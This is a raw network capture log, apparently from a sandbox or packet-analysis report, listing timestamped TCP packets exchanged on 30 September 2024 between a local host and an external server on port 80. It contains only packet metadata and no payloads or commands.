Sep 30, 2024 12:22:55.047420979 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.047454119 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.047472954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.047485113 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.047509909 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.047514915 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.047527075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.047533989 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.047555923 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.047569036 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053046942 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053072929 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053083897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053090096 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053127050 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053152084 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053195000 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053277969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053287983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053297043 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053317070 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053340912 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053350925 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053360939 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053369999 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053383112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053388119 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053425074 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053442955 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053453922 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053462982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053483009 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053492069 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053656101 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053667068 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053675890 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053694963 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053787947 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053797960 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053807974 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053813934 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053827047 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.053833008 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.053867102 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.054038048 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054049015 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054059982 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054080963 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.054102898 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.054131031 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054142952 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054152966 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054162979 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054172039 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.054197073 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.054464102 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054474115 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054483891 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054506063 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.054518938 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.054557085 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054567099 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054575920 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054586887 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.054596901 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.054625034 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.125097990 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125116110 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125134945 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125149965 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125161886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125173092 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125185013 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125189066 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.125235081 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.125397921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125503063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125523090 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125550032 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.125570059 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.125622988 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125633001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125642061 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125652075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125663042 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.125665903 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.125701904 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.134960890 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.134999990 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135010958 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135020971 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135050058 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135056973 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135077953 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135087967 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135098934 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135113001 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135122061 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135153055 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135169983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135180950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135194063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135214090 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135220051 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135224104 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135231018 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135243893 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135251045 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135255098 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135265112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135267973 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135284901 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135317087 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135587931 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135598898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135610104 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135638952 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135647058 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135652065 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135658026 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135668039 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135678053 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135685921 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135701895 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135730028 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135747910 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135760069 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135771036 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135781050 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135782003 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135795116 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135816097 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135821104 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135831118 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135860920 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135888100 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135917902 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135930061 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135940075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.135977983 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.135994911 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136068106 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136080027 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136090994 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136101007 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136101961 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136121035 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136142015 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136147022 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136152983 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136163950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136172056 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136183977 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136192083 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136226892 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136332989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136348963 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136358976 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136389017 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136409044 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136420012 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136462927 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136523008 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136535883 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136545897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136557102 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136560917 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136571884 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136581898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136585951 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136614084 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136652946 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136663914 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136672974 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136682987 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136691093 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136693954 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.136713982 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.136739016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.137213945 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137232065 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137239933 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137279987 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.137285948 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137295008 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137305975 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137319088 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.137336016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.137357950 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137368917 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137401104 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.137908936 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137917995 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137923956 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137978077 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.137989044 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.138000011 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.138011932 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.138021946 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.138047934 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.138084888 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.143805981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143822908 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143842936 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143857002 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143867016 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.143873930 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143884897 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143884897 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.143896103 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143907070 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143910885 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.143917084 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143927097 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.143928051 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143937111 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.143954039 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.143979073 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144121885 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144133091 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144145012 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144155979 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144162893 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144165993 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144181967 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144205093 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144242048 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144252062 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144262075 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144277096 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144294024 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144351959 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144361973 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144371986 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144387007 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144390106 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144418001 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144490004 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144500971 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144510984 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144531965 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144546986 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144570112 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144582033 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144593000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144601107 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144603014 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144613981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144614935 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144643068 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144682884 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144885063 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144903898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144913912 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.144926071 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.144941092 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.145011902 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.145025969 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.145040989 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.145050049 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.145072937 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.145086050 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.145090103 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.145107031 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.145117998 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.145123959 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.145160913 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.145160913 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227340937 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227355957 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227425098 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227452040 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227463961 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227473974 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227484941 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227499008 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227504969 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227524042 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227555990 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227556944 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227571011 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227586985 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227598906 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227603912 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227608919 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227619886 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227622986 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227648973 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227842093 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227854013 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227863073 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227874994 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227885008 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227891922 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227904081 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227906942 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227914095 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227925062 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227925062 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227936029 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227946997 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227953911 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227957964 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227968931 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227972031 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.227979898 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.227998018 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228023052 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228197098 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228208065 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228218079 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228228092 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228233099 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228239059 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228241920 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228259087 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228287935 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228652000 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228663921 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228672981 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228683949 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228693962 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228693962 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228704929 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228723049 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228724003 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228734970 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228739023 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228744984 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228755951 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228758097 CEST	52540	80	192.168.2.4	46.8.231.109
Sep 30, 2024 12:22:55.228769064 CEST	80	52540	46.8.231.109	192.168.2.4
Sep 30, 2024 12:22:55.228779078 CEST	52540	80	192.168.2.4	46.8.231.109
